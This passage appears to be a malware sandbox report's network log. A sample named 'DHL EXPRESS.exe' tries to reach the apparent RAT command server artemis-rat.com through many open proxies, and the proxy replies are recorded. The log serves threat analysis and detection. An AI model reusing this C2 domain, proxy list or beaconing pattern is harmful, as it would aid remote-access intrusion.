6f 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 4e 63 41 41 41 41 76 43 41 59 41 41 41 42 Data Ascii: <!DOCTYPE html><html style="background-color: #f9f9f9 !important;font-family:Segoe, 'Segoe UI', 'DejaVu Sans', 'Trebuchet MS', Verdana, sans-serif;"> <head> <meta charset="UTF-8"> <title>Aviso</title> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> <style> html{background: #3c7ca0 !important;} body{background: transparent !important;height: 100%;} .reticencias { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width:96%; margin-bottom:0 !important; } </style> </head> <body id="ERR_CANNOT_FORWARD" style="font-size:12px; "> <div class="container" align="center"> <div class="row" style="min-width:500px"> <div class="col-xs-8" style="text-align:center;padding-top:50px; padding-bottom:10px"><img class="deny_logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANcAAAAvCAYAAAB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1798	192.168.2.8	51761	23.94.214.8	9054	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.786886930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.958987951 CET	34	IN	HTTP/1.1 503 Service Unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1799	192.168.2.8	51798	162.214.225.223	55029	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.793704987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1800	192.168.2.8	55181	200.115.188.52	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.793888092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.047245026 CET	243	IN	HTTP/1.0 307 Temporary Redirect Content-Length: 0 Content-Type: text/html Date: Mon, 11 Mar 2024 17:36:54 GMT Expires: Mon, 11 Mar 2024 17:36:54 GMT Server: Mikrotik HttpProxy Proxy-Connection: close Location: http://www.avis.com.hn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1801	192.168.2.8	55193	194.4.50.132	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.794162035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1802	192.168.2.8	55101	185.82.218.52	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.794792891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.565675020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.566427946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.565923929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.456573009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.456841946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1803	192.168.2.8	55142	186.96.50.20	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.804563046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.397047043 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1804	192.168.2.8	55118	8.217.95.44	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.805696964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1805	192.168.2.8	55156	51.15.252.246	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.807157040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1806	192.168.2.8	55131	158.255.215.50	16993	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.807162046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.108964920 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1807	192.168.2.8	55121	111.90.150.109	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.808414936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1808	192.168.2.8	55150	51.75.126.150	35632	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.808605909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1809	192.168.2.8	54627	193.122.98.1	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.809250116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.821341038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.909750938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.003618002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.003264904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.096903086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.956985950 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1810	192.168.2.8	55120	42.49.148.167	9001	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.994637966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.354036093 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1811	192.168.2.8	54568	125.122.26.242	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.995260000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1812	192.168.2.8	55175	80.51.7.66	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.996228933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1813	192.168.2.8	55169	45.11.95.165	5045	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.996660948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1814	192.168.2.8	54569	213.16.81.182	35559	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.997076035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1815	192.168.2.8	54650	185.89.156.130	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.997315884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1816	192.168.2.8	51665	105.214.65.244	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.997569084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1817	192.168.2.8	51862	162.241.50.179	31414	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.007034063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.064574003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1818	192.168.2.8	51640	185.186.17.57	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.020370960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1819	192.168.2.8	55187	119.18.149.34	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.029047012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1820	192.168.2.8	55122	45.125.222.97	47239	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.029697895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1821	192.168.2.8	55194	185.151.146.178	1234	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.033710957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1822	192.168.2.8	55107	172.232.111.247	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.034075022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.570756912 CET	739	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:55 GMT Server: case1 X-Frame-Options: SAMEORIGIN Content-Length: 535 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 61 6a 61 6e 65 65 73 68 6d 40 67 6f 69 74 64 65 76 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at rajaneeshm@goitdev.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1823	192.168.2.8	54432	117.160.250.138	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.034251928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.056480885 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:55 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 18:36:59.123039007 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:55 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1824	192.168.2.8	53965	212.110.188.207	34405	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.034343958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.064595938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206654072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.206651926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.206288099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1825	192.168.2.8	51704	37.187.77.58	29380	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.035294056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.064611912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206583977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.206664085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.206374884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1826	192.168.2.8	54664	52.80.19.207	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.035599947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.474894047 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1827	192.168.2.8	54034	82.223.121.72	27137	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
